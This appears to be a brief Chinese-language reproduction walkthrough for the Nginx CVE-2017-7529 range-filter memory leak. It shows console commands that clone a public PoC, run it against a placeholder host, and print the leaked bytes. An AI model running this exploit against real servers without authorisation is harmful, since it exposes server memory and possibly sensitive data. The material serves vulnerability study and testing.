影响范围：
Nginx 0.5.6 - 1.13.2
复现：
//下载poc
C:Users17273Downloadswordpress46-learn-master>git clone https://github.com/en0f/CVE-2017-7529_PoC
Cloning into 'CVE-2017-7529_PoC'...
remote: Enumerating objects: 6, done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 6
Unpacking objects: 100% (6/6), done.
C:Users17273Downloadswordpress46-learn-master>cd CVE-2017-7529_PoC
//利用
C:Users17273Downloadswordpress46-learn-masterCVE-2017-7529_PoC>python CVE-2017-7529_PoC.py http://xxx.xxx.xxx:xxxx/
[+] xxx.xxx.xxx:xxxx is Vulnerable: TRUE
[i] Receiving Data [2805 bytes] ...
- 0000: 2d 2d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 --00000000000000
参考文献:
https://blog.csdn.net/qq_29647709/article/details/85076309
【说明】：本文章由站长整理发布，文章内容不代表本站观点，如文中有侵权行为，请与本站客服联系(QQ:254677821)！